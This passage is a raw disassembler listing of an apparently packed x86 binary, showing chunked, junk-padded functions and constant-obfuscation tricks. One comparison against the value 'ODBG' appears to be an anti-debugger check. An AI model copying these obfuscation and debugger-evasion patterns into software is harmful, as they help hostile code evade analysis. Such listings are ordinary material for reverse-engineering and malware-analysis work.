XREF: sub_42DB52-31A6j jns loc_42C48A pushf xor edi, 9696EDEh loc_426492: ; CODE XREF: sub_42DB52:loc_427F0Fj push offset sub_42506F jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; =============== S U B R O U T I N E ======================================= sub_42649C proc near ; DATA XREF: sub_426535+E57o mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 sub_42649C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_4264A3: ; CODE XREF: sub_42BB8A:loc_427723j ; wto1jq8f:0042B5B9j jns loc_428C1B mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jmp loc_42B7DC ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- add ebx, 610D472Dh jmp sub_4262F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660F loc_4264C0: ; CODE XREF: sub_42660F:loc_425EE9j mov ebp, esp call sub_42E337 locret_4264C7: ; CODE XREF: sub_42DC5C+16Bj retn ; END OF FUNCTION CHUNK FOR sub_42660F ; --------------------------------------------------------------------------- loc_4264C8: ; CODE XREF: wto1jq8f:0042B07Cj jmp loc_42A658 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_4264CE: ; CODE XREF: sub_42BB8A+2433j shl eax, 0Ah add [ebp-8], eax push offset sub_42BB8A jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- loc_4264DE: ; CODE XREF: wto1jq8f:00424F98j sbb ebp, ecx xor esi, ebp adc edi, esi loc_4264E4: ; CODE XREF: wto1jq8f:004245E9j call sub_4264F4 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4264EA: ; CODE XREF: sub_426535+66EAj jmp sub_42D765 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C9F loc_4264EF: ; CODE XREF: sub_426C9F+Fj jmp nullsub_158 ; END OF FUNCTION CHUNK FOR sub_426C9F ; =============== S U B R O U T I N E ======================================= sub_4264F4 proc near ; CODE XREF: sub_42A909-68C9j ; wto1jq8f:loc_4264E4p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004244C3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042632D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00426A72 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042AF4C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D3B4 SIZE 00000005 BYTES push edx push 0B8BDB086h pop edx jmp loc_42D3B4 sub_4264F4 endp ; =============== S U B R O U T I N E ======================================= sub_426500 proc near ; CODE XREF: wto1jq8f:0042B204j ; DATA XREF: wto1jq8f:0042BA8Co xchg eax, [esp+0] jmp nullsub_154 sub_426500 endp ; --------------------------------------------------------------------------- loc_426508: ; CODE XREF: wto1jq8f:00427A2Bj add edx, 3D9A6F48h mov al, [edx] pop edx loc_426511: ; CODE XREF: wto1jq8f:loc_42761Ej mov esp, ebp jmp loc_426328 ; --------------------------------------------------------------------------- pushf jmp loc_42D1BE ; --------------------------------------------------------------------------- loc_42651E: ; CODE XREF: wto1jq8f:00424E03j not ecx pushf adc ecx, 0F0A4BA28h ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_426527: ; CODE XREF: sub_42A0E5:loc_424DF7j add ebx, 8082DF7Ah xchg ebx, [esp+0] jmp loc_42CAFC ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; =============== S U B R O U T I N E ======================================= sub_426535 proc far ; CODE XREF: sub_42DEFF-349Dp ; wto1jq8f:0042BC56j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_4C6A45ED = byte ptr 4C6A45F1h arg_5C5BBE77 = dword ptr 5C5BBE7Fh ; FUNCTION CHUNK AT 00424051 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004241ED SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004248F2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042492E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00424BC5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424CBF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424D53 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FD1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042504E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00425A8C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425D85 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426121 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004264EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042677D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004268F1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426A4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B0A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426C94 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426DC5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426E5D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426FF5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427383 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004275CC SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0042779D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004277FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ABC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427C02 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427D52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D9C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427DF3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427EA1 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00427FA2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427FE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280CC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042834C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004283BD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428494 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042865F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428B9A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428E80 SIZE 00000001 BYTES ; FUNCTION CHUNK AT 0042920C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042941B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429570 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042958D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429603 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429792 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004297A3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042991A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429B66 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429DC5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00429E0D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429E55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429EE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F3E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429FCB SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0042A167 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042A2EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A568 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A5A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A7BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A80D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A843 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A9B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AB09 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AC2F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042AE2C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042AF7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B141 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B424 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042B4E8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B50C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042B5BE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B6F9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B772 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042B83B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B952 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BD22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BD93 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0042C172 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C538 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C66B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C883 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C906 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CC0F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D260 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042D289 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D473 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D5E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D692 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D855 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042D93C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DC1B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DC4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DF1A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042DF53 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042DFE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E1F6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E2BD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E3EA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E910 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042ED27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EDAE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F2CA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042F30E SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0042F389 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042F390 SIZE 0000008C BYTES ; FUNCTION CHUNK AT 0042F433 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F6EF SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042F760 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042FB48 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042FCAC SIZE 00000022 BYTES xchg eax, [esp+0] pop eax cmp dword ptr [eax], 4742444Fh jz loc_4265DB loc_426545: ; CODE XREF: sub_42DEFF:loc_42B03Dj ; sub_42DEFF-17B7j ... js loc_4283BD cmp dword ptr [ebp-4], 3 jnz loc_42C172 jmp near ptr loc_42F2F5+4 ; --------------------------------------------------------------------------- loc_42655A: ; DATA XREF: sub_42873E+Do mov byte ptr [ebp-1], 0 mov eax, cs xor al, al or eax, eax jnz loc_42AE2C jmp loc_42D160 ; --------------------------------------------------------------------------- cmp dword ptr [ebp-0Ch], 0 jz loc_42E061 mov eax, [ebp-0Ch] push eax push ecx push 7AD8E3DFh jmp loc_42A7BF ; --------------------------------------------------------------------------- loc_426588: ; CODE XREF: wto1jq8f:00428780j xchg edx, esi mov [esp+1Ch+var_1C], ebx pop ebx push 0 push 10h push 8B297A09h pop eax jmp loc_429DC5 ; --------------------------------------------------------------------------- locret_42659D: ; CODE XREF: sub_429AE8-4EBFj retn ; --------------------------------------------------------------------------- jmp loc_42991A ; --------------------------------------------------------------------------- locret_4265A3: ; CODE XREF: sub_424382+5j retn ; --------------------------------------------------------------------------- loc_4265A4: ; CODE XREF: sub_42B02D+27EAj jmp loc_429B66 ; --------------------------------------------------------------------------- loc_4265A9: ; CODE XREF: wto1jq8f:0042C398j jmp loc_42D692 ; --------------------------------------------------------------------------- loc_4265AE: ; CODE XREF: wto1jq8f:0042C144j jle loc_42941B and ebx, 749EE4B2h loc_4265BA: ; CODE XREF: wto1jq8f:00426E25j push edi mov [esp+24h+var_24], edx push 9CE37B19h pop edx add edx, 91184412h jmp loc_42678D ; --------------------------------------------------------------------------- loc_4265CF: ; CODE XREF: sub_42ADC7:loc_42EB99j call sub_424907 mov edi, ebx jmp loc_428E80 ; --------------------------------------------------------------------------- loc_4265DB: ; CODE XREF: sub_426535-14D1j ; sub_426535+Aj ... jno loc_425A8C push 0 push 0 push 61CC94BDh xor [esp+18h+var_18], 61CC94ADh mov eax, [ebp+8] push eax jmp sub_429318 sub_426535 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4265FA: ; CODE XREF: wto1jq8f:0042D8A4j jb loc_42E1EF pushf ; =============== S U B R O U T I N E ======================================= sub_426601 proc near ; CODE XREF: wto1jq8f:0042BDF6p arg_0 = dword ptr 4 mov [esp+0], edi pop edi xchg ebp, [esp-4+arg_0] retn sub_426601 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42C8A6 ; =============== S U B R O U T I N E ======================================= sub_42660F proc near ; CODE XREF: sub_429E5B:loc_424F18p ; wto1jq8f:0042A6ACj ... ; FUNCTION CHUNK AT 00425EE9 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004264C0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D5E9 SIZE 00000005 BYTES push ebp jmp loc_42D5E9 sub_42660F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_426615: ; CODE XREF: sub_429471-4608j jns loc_424CE3 loc_42661B: ; CODE XREF: sub_429471:loc_42DAC5j push edx push 2ADB72EEh pop edx xor edx, ds:4000FAh jmp loc_4268AA ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- pop edx sub ebp, ecx jmp sub_42903A ; --------------------------------------------------------------------------- loc_426635: ; CODE XREF: wto1jq8f:loc_42AF6Ej pop eax pop edi xor eax, ecx jnz loc_429C31 jmp loc_42CBC6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426645: ; CODE XREF: wto1jq8f:0042AB2Aj jnb loc_429C5F loc_42664B: ; CODE XREF: wto1jq8f:00424EA8j call sub_42ED32 test eax, eax jz near ptr loc_42EF2D+1 push esi call sub_42DF3B loc_42665E: ; CODE XREF: wto1jq8f:0042AA3Fj jmp loc_425ACB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_426663: ; CODE XREF: sub_42727F:loc_42EAB0j cmp ebx, 0ED3A1076h jmp loc_42DB7B ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- loc_42666E: ; DATA XREF: sub_42885C+6o or eax, eax jnz loc_42BC8F push ebp push esi jmp loc_42B836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42667D: ; CODE XREF: sub_42A2B8+32D8j cmp byte ptr [eax], 0 jnz near ptr loc_42F000+1 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp jmp loc_42724C ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- jz loc_427CDE jmp loc_42806D ; =============== S U B R O U T I N E ======================================= sub_42669E proc near ; CODE XREF: wto1jq8f:loc_42E4C0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426133 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426706 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428A9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D778 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E2E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E88E SIZE 0000001C BYTES mov [esp+0], eax pop eax xchg esi, [esp-4+arg_0] push edx push 5B8EDFAEh pop edx jmp loc_428A9F sub_42669E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [esp], eax call sub_42B02D mov ds:dword_42D5CC, eax cmp ds:dword_42D5CC, 0 jmp loc_42709B ; --------------------------------------------------------------------------- loc_4266CA: ; CODE XREF: wto1jq8f:00429021j ; DATA XREF: wto1jq8f:00424315o push ecx mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_42F338+4 push 42F332h jmp loc_42F5FA ; --------------------------------------------------------------------------- db 0E8h, 0D6h, 65h dd 0E1E90000h db 0C5h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_4266EF proc near ; CODE XREF: wto1jq8f:loc_42995Fj ; wto1jq8f:0042AFFEp ; DATA XREF: ... jno sub_425AAA push ebp sub_4266EF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_4266F6: ; CODE XREF: sub_42DA7A-1284j mov ebp, esp add esp, 0FFFFFFCCh lea eax, sub_4266EF jmp loc_42E1A2 ; END OF FUNCTION CHUNK FOR sub_42DA7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_426706: ; CODE XREF: sub_42669E-55Fj ; sub_42669E:loc_42E89Fj mov ecx, [ebp-1Ch] push edx call loc_42F745 jmp loc_42D778 ; END OF FUNCTION CHUNK FOR sub_42669E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_426714: ; CODE XREF: sub_424D58-968j jmp loc_42E92E ; END OF FUNCTION CHUNK FOR sub_424D58 ; =============== S U B R O U T I N E ======================================= sub_426719 proc near ; CODE XREF: sub_42DC5C-6D85p ; FUNCTION CHUNK AT 0042F37E SIZE 00000003 BYTES xchg eax, [esp+0] mov eax, [esp+0] push 40h lea eax, [ebp-64h] push eax push 400000h jmp loc_42F37E sub_426719 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42672F: ; CODE XREF: wto1jq8f:loc_42C851j ; wto1jq8f:0042D27Ej test ebx, 81BB3D31h jmp loc_42B319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D496 loc_42673A: ; CODE XREF: sub_42D496:loc_42D4B5j mov esp, ebp pop ebp mov eax, ds:dword_42E524 or eax, eax jnz loc_428D0B jmp near ptr loc_42FAC9+1 ; END OF FUNCTION CHUNK FOR sub_42D496 ; =============== S U B R O U T I N E ======================================= sub_426750 proc far ; DATA XREF: sub_424BD4+2D6Ao mov [edx-8], eax jmp loc_42AC2F sub_426750 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_426758: ; CODE XREF: sub_424BD4+3994j cmp dword ptr [ebp-10h], 2 jnz loc_42AC2F mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_427041 ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42676E: ; CODE XREF: sub_42D9D9-3C3Fj ; sub_42D9D9+18j cmp dword ptr [ebp-1Ch], 67h jnz loc_42699F jmp loc_4280BA ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42677D: ; CODE XREF: sub_426535+6D42j rol esi, 1 add esi, 3F005094h xchg esi, [esp+1Ch+var_1C] jmp loc_426FF5 ; --------------------------------------------------------------------------- loc_42678D: ; CODE XREF: sub_426535+95j add edx, ebp call sub_429308 loc_426794: ; CODE XREF: wto1jq8f:0042C5F1j sbb eax, ecx jmp loc_427C02 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- locret_42679B: ; CODE XREF: wto1jq8f:004296FBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424309 loc_42679C: ; CODE XREF: sub_424309+ABBj jmp loc_424491 ; END OF FUNCTION CHUNK FOR sub_424309 ; --------------------------------------------------------------------------- jnb loc_428FF1 add esi, eax jmp sub_42C4CF ; =============== S U B R O U T I N E ======================================= sub_4267AE proc far ; CODE XREF: wto1jq8f:0042C010j ; wto1jq8f:0042D6F4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424086 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00424183 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00424C63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425A78 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C7D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004269C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C6B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042723A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427B9B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00428AB1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042907C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429390 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00429F75 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A0AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A0C8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ADDB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042B090 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042D284 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E993 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042ED3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F7DB SIZE 00000018 BYTES mov [esp+4+var_4], edx pop edx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_424183 jmp loc_425A78 sub_4267AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4267C4: ; CODE XREF: wto1jq8f:00427A48j ; wto1jq8f:0042CB31j mov eax, [ebp-0Ch] mov esp, ebp xchg eax, [esp] mov ebp, eax jmp loc_42A0FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_4267D3: ; CODE XREF: sub_42DC5C:loc_42D0D3j and ecx, ebx sbb eax, edx call near ptr loc_42F9C9+1 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- jmp near ptr sub_428C71 ; --------------------------------------------------------------------------- jmp loc_427986 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_4267E6: ; CODE XREF: sub_42CB36-8467j rol ebp, 0Bh lea eax, [ebp-2AAh] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_42FB6C ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- dd 4AA6810Fh, 3C870000h, 45895F24h, 0E045FFE4h, 0E9E4458Bh dd 0FFFFF11Bh, 0FE47D83h, 0C35E9h db 0 ; --------------------------------------------------------------------------- loc_426821: ; CODE XREF: wto1jq8f:00425FB9j jno loc_42752D xor edi, 8D0DD2A6h jmp loc_42EBF4 ; --------------------------------------------------------------------------- mov edi, 6DE295FBh xor esi, 5523EB52h jmp loc_42F305 ; =============== S U B R O U T I N E ======================================= sub_426842 proc far ; CODE XREF: sub_42750A-1D3j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00424D94 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424ECE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004293A4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00429700 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042C39D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C71D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042D51B SIZE 00000005 BYTES push ebx js loc_42C71D sub_426842 endp ; START OF FUNCTION CHUNK FOR sub_42750A loc_426849: ; CODE XREF: sub_42750A:loc_427CF5j call sub_424585 push 6CA2BEBDh pop edx sub edx, 79F1AC7h xor edx, 0B0077473h jmp loc_4246A4 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- jb loc_42EC03 jmp near ptr sub_42B63C ; --------------------------------------------------------------------------- add eax, ebp add eax, 461F74B4h push eax mov eax, [ebp-8] jmp loc_42B7AD ; --------------------------------------------------------------------------- loc_426881: ; DATA XREF: sub_42DE65:loc_42BA12o mov eax, [ebp-4] movzx eax, byte ptr [eax] cmp ds:dword_425108[eax*4], 0 jz loc_42A4DF loc_426895: ; CODE XREF: wto1jq8f:0042432Aj jmp loc_428D94 ; --------------------------------------------------------------------------- loc_42689A: ; CODE XREF: wto1jq8f:00427BCAj mov [esp], edi pop edi mov ecx, 3F5h xor edx, edx jmp loc_424538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_4268AA: ; CODE XREF: sub_429471-2E49j test edx, 4 jmp loc_424881 ; END OF FUNCTION CHUNK FOR sub_429471 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EADC loc_4268B6: ; CODE XREF: sub_42EADC+17Dj jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_42EADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_4268BB: ; CODE XREF: sub_426313+7944j jmp nullsub_52 ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_4268C1: ; CODE XREF: sub_424BF9+2A0Fj jmp loc_42C114 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- loc_4268C6: ; CODE XREF: wto1jq8f:loc_42BF30j push 8BBDD8Bh pop esi rol esi, 0Ah cmp esi, 0A68E41Eh jmp loc_424241 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_4268DA: ; CODE XREF: sub_42750A:loc_4246A4j call sub_429165 push 0EBCD2075h mov [esp+4+var_4], eax rol eax, 6 mov ds:dword_429578, eax retn ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4268F1: ; CODE XREF: sub_42750A+23CCj ; sub_426535+5886j ror eax, 6 push eax jmp loc_429570 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- push 5B8D1A61h mov edx, offset loc_426908 xchg edx, [esp] retn ; --------------------------------------------------------------------------- loc_426908: ; DATA XREF: wto1jq8f:004268FFo sub edx, 68EF4F45h add edx, 9A969FDFh jmp loc_427E1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_426919: ; CODE XREF: sub_4269FD:loc_42D5F4j mov eax, [ebp-4] loc_42691C: ; CODE XREF: sub_424702+Dj inc eax mov eax, [eax] add eax, [ebp-4] add eax, 5 cmp eax, ds:dword_42A73C jmp loc_42A945 ; END OF FUNCTION CHUNK FOR sub_4269FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_426931: ; CODE XREF: wto1jq8f:0042499Cj ; sub_42ADC7-15E3j jmp loc_425C4D ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_426936: ; CODE XREF: wto1jq8f:00424743j jmp locret_42A41F ; --------------------------------------------------------------------------- loc_42693B: ; CODE XREF: wto1jq8f:loc_42BFF5j mov [esp], eax pop eax pop ebx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_426941: ; CODE XREF: sub_42DC5C-CAEj jmp loc_42BFFA ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_426946: ; CODE XREF: sub_424406+Cj jmp loc_4291F5 ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424309 loc_42694B: ; CODE XREF: sub_424309+7j jmp loc_424DB7 ; END OF FUNCTION CHUNK FOR sub_424309 ; =============== S U B R O U T I N E ======================================= sub_426950 proc near ; CODE XREF: sub_42596Fj var_8 = dword ptr -8 ; FUNCTION 